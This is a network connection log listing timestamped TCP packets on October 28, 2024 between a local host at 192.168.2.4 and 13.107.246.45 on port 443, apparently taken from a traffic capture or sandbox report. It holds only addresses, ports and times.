Oct 28, 2024 06:28:14.560564995 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.560910940 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.560960054 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.560991049 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.561007977 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.564646959 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.564730883 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.564842939 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.565026045 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.565063953 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.622306108 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.622339964 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.622387886 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.622397900 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.622447968 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.623027086 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.623047113 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.623068094 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.623075008 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.626765013 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.626836061 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.626934052 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.627098083 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.627134085 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.627937078 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.628077030 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.628135920 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.628170967 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.628170967 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.628189087 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.628202915 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.631134987 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.631181002 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.631253004 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.631422043 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.631464005 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.645612001 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.645775080 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.645849943 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.646004915 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.646013021 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.646023989 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.646030903 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.648845911 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.648884058 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.649009943 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.652451038 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.652470112 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.855688095 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.856571913 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.856590033 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.857917070 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.857923031 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.985853910 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.986017942 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.986080885 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.988066912 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.988082886 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.988092899 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.988096952 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.991916895 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.991977930 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.992069006 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.992244005 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.992254972 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.307729959 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.308523893 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.308573008 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.309153080 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.309169054 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.372221947 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.373249054 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.373294115 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.373887062 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.373900890 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.378021002 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.378437042 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.378475904 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.378896952 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.378910065 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.429758072 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.430278063 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.430289984 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.430825949 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.430830002 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.440598965 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.440757990 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.440861940 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.440921068 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.440963030 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.440999031 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.441013098 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.444495916 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.444581985 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.444679022 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.444839001 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.444886923 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.501609087 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.501652002 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.501718044 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.501727104 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.501785040 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.501995087 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.501995087 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.502029896 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.502052069 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.505423069 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.505465031 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.505542040 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.505743980 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.505759001 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.508002996 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.508141041 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.508222103 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.508405924 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.508430958 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.508456945 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.508470058 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.510972023 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.511006117 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.511096954 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.511245012 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.511271954 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.565222979 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.565323114 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.565386057 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.565407038 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.565474033 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.565529108 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.565660954 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.565685034 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.565723896 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.565737963 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.568588018 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.568631887 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.568721056 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.568903923 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.568923950 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.732278109 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.734122038 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.734168053 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.734771967 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.734778881 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.861215115 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.861351013 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.861430883 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.873699903 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.873723030 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.889959097 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.890045881 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:15.890151024 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.901262999 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:15.901345968 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.189730883 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.190824986 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.190869093 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.191332102 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.191348076 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.227277040 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.233824015 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.233849049 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.234642982 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.234649897 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.256078005 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.256810904 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.256843090 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.257596016 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.257606983 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.290462017 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.290952921 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.290965080 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.291419029 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.291424036 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.320667028 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.320748091 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.320822001 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.321077108 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.321077108 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.321115017 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.321141958 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.324599028 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.324661016 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.324824095 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.324925900 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.324943066 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.363579035 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.363663912 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.363719940 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.363811016 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.363823891 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.363831997 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.363837004 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.366317987 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.366405964 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.366498947 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.366624117 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.366672993 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.386342049 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.386408091 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.386480093 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.386499882 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.386535883 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.386591911 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.386661053 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.386661053 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.386677980 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.386698961 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.388936043 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.388978958 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.389060974 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.389189959 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.389216900 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.419800043 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.419976950 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.420084000 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.420084953 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.420129061 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.420150042 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.422966003 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.422991991 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.423079014 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.423221111 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.423233986 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.639980078 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.640594006 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.640652895 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.641236067 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.641253948 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.770070076 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.770229101 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.770307064 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.776362896 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.776407957 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.776437998 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.776453972 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.779835939 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.779905081 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:16.779999971 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.780174017 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:16.780205965 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.059220076 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.059809923 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.059868097 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.060345888 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.060359955 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.106847048 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.107276917 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.107340097 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.107880116 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.107897043 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.113878012 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.114172935 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.114202976 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.114526033 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.114537954 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.160608053 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.161122084 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.161154985 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.161703110 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.161710024 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.189413071 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.189497948 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.189660072 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.189747095 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.189799070 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.189836979 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.189855099 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.192956924 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.192992926 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.193058014 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.193195105 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.193207979 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.243406057 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.243438005 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.243477106 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.243587017 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.243623018 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.243623018 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.243731976 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.243736029 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.243765116 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.243793011 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.243802071 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.243825912 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.243870974 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.243900061 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.243926048 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.243957996 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.246372938 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.246469021 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.246546030 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.246552944 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.246587038 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.246654034 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.246722937 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.246757984 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.246851921 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.246875048 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.290540934 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.290699005 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.290910959 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.290982962 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.291006088 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.291042089 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.291049957 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.294563055 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.294614077 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.294713974 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.294895887 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.294925928 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.531217098 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.531873941 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.531941891 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.532555103 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.532572985 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.663882017 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.664180040 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.664280891 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.664338112 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.664376020 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.664402962 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.664417028 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.667824030 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.667865992 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.667998075 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.668173075 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.668181896 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.925586939 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.926356077 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.926378012 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.926778078 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.926784039 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.982248068 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.982865095 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.982878923 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.983469963 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.983474016 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.985296011 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:17.985625982 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.985646963 CET	443	49880	13.107.246.45	192.168.2.4
